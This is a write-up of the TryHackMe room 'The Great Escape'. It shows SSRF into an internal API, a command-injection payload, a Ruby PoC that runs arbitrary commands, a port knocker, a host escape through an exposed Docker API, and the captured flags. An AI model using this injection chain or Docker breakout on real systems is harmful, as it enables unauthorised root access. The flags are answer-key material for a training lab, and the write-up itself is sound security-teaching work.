The Great Escape - Write-up - TryHackMe

Information

Room#

  • Name: The Great Escape
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Our devs have created an awesome new site. Can you break out of the sandbox?

The Great Escape

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient

Security.txt#

What is security.txt? Take a look at my article on the subject.

On the web app we can hit /.well-known/security.txt:

Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/fl46 with a HEAD request for a nifty treat.

Let's do that.

$ curl -I http://10.10.70.53/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:21:55 GMT
Connection: keep-alive
flag: THM{edited}

Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}

Web discovery#

Unauthenticated we can only see a login form. But I quickly discovered /robots.txt giving some interesting paths to try:

User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
  • /api/: I have no information about the API yet so let's skip it for now
  • /exif-util/ it has an unauthenticated upload form
  • /*.bak.txt$ I'll be able to leak some source code with that

I retrieved the source code of the upload form at /exif-util.bak.txt.

<template>
  <section>
    <div class="container">
      <h1 class="title">Exif Utils</h1>
      <section>
        <form @submit.prevent="submitUrl" name="submitUrl">
          <b-field grouped label="Enter a URL to an image">
            <b-input
              placeholder="http://..."
              expanded
              v-model="url"
            ></b-input>
            <b-button native-type="submit" type="is-dark">
              Submit
            </b-button>
          </b-field>
        </form>
      </section>
      <section v-if="hasResponse">
        <pre>
          {{ response }}
        </pre>
      </section>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Exif Util',
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: '',
      url: '',
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log('Submitted URL')
      try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: 'Something bad happened, please verify that the URL is valid',
          type: 'is-danger',
          position: 'is-top',
          hasIcon: true,
        })
      }
    },
  },
}
</script>

This will send our image URL, either a HTTP link (http://example.org/image.png) or data-URI (data:image/png;base64,iVBOR...) to an internal API (http://api-dev-backup:8080/exif). But we have an externally exposed API and trying to reach http://10.10.190.91/api/exif gives a 500 error because the endpoint exists but we did not provide any argument and it must be expecting the url too. So /api/exif exposed on port 80 must be the same API as /exif on the internal port 8080.

But is there a difference in filtering between the production and backup API?

For now I don't know, but with the error message I get I know it's a Java backend: An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection.

Also if I make a SSRF to a controlled URL with ssrf-sheriff (eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000) I retrieve the following entry leaking Java version (11.0.8):

2021-02-16T10:50:48.652+0100    info    handler/handler.go:105  New inbound HTTP request        {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}

Web exploitation#

We can reach the internal dev APi via the public one (SSRF): /api/exif?url=http://api-dev-backup:8080/exif?url=xxx and it seems that the internal one is vulnerable to command injection:

/api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:15:06 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 360
Connection: close

An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               uid=0(root) gid=0(root) groups=0(root)

Quick PoC in Ruby to ease the epxloitation:

require 'httpclient'

VULN_URL = 'http://10.10.70.53/api/exif'
cmd = ARGV[0]

data = {
  'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}"
}

clnt = HTTPClient.new
res = clnt.get(VULN_URL, data)
if /Request contains banned words/.match?(res.body)
  puts 'We hit blacklist'
else
  stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0]
  puts stdout
end

Run it:

$ ruby rce.rb id
uid=0(root) gid=0(root) groups=0(root)

$ ruby rce.rb 'ls -lhA /root'
total 20K
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4.0K Jan  7 16:48 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt

$ ruby rce.rb 'cat /root/dev-note.txt'
Hey guys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

$ ruby rce.rb 'ls -lhA /.dockerenv'
-rwxr-xr-x 1 root root 0 Jan  7 22:14 /.dockerenv

It seems we are running as root in a docker container and we found a password in dev-note.txt: fluffybunnies123. It's a valid password for the web app or SSH.

System enumeration#

The note is saying file were removed and we have a git repository.

Let's dig in the git repository:

$ ruby rce.rb 'cd /root; git --no-pager log --oneline'
5242825 fixed the dev note
4530ff7 Removed the flag and original dev note b/c Security
a3d30a7 Added the flag and dev notes

$ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p'
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{edited}
\ No newline at end of file

Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}

Port knocking#

The second dev note was telling us to do some port knocking on TCP ports 42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.

We can write a quick port knocker in Ruby:

require 'socket'

ports = [42, 1337, 10420, 6969, 63000]

ports.each do |port|
  puts "[+] Port: #{port}"
  sleep 1
  begin
    s = TCPSocket.new '10.10.70.53', port
    s.close
  rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
    next
  end
end

Also looking at the List of TCP and UDP port numbers we can find the docker related well known ports:

  • 2375: Docker REST API (plain)
  • 2376: Docker REST API (SSL)
  • 2377: Docker Swarm cluster management communications

It's will be most likely be exposed on port 2375.

Let's port knock and then see if the docker port is open:

$ ruby port-knock.rb
[+] Port: 42
[+] Port: 1337
[+] Port: 10420
[+] Port: 6969
[+] Port: 63000

$ nmap -p 2375 10.10.70.53
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET
Nmap scan report for 10.10.70.53
Host is up (0.034s latency).

PORT     STATE SERVICE
2375/tcp open  docker

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Docker enumeration#

Let's use an environment variable (DOCKER_HOST) to use the remotely exposed one for our current session. Then we can enumerate.

$ export DOCKER_HOST=tcp://10.10.70.53:2375

$ docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED        STATUS       PORTS                  NAMES
49fe455a9681   frontend       "/docker-entrypoint.…"   2 months ago   Up 2 hours   0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad   exif-api-dev   "./application -Dqua…"   2 months ago   Up 2 hours                          dockerescapecompose_api-dev-backup_1
cb83912607b9   exif-api       "./application -Dqua…"   2 months ago   Up 2 hours   8080/tcp               dockerescapecompose_api_1
548b701caa56   endlessh       "/endlessh -v"           2 months ago   Up 2 hours   0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1

$ docker image ls
REPOSITORY                                    TAG       IMAGE ID       CREATED         SIZE
exif-api-dev                                  latest    4084cb55e1c7   2 months ago    214MB
exif-api                                      latest    923c5821b907   2 months ago    163MB
frontend                                      latest    577f9da1362e   2 months ago    138MB
endlessh                                      latest    7bde5182dc5e   2 months ago    5.67MB
nginx                                         latest    ae2feff98a0c   3 months ago    133MB
debian                                        10-slim   4a9cd57610d6   3 months ago    69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   3 months ago    103MB
alpine                                        3.9       78a2ce922f86   10 months ago   5.55MB

There is a generic Alpine image.

EoP: Docker exploitation#

Let's check the GTFObin for docker and use it:

$ gtfoblookup linux shell docker
docker:

    shell:

        Description: The resulting is a root shell.
        Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

$ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/flag.txt
Congrats, you found the real flag!

THM{edited}

Root flag: THM{c62517c0cad93ac93a92b1315a32d734}

Share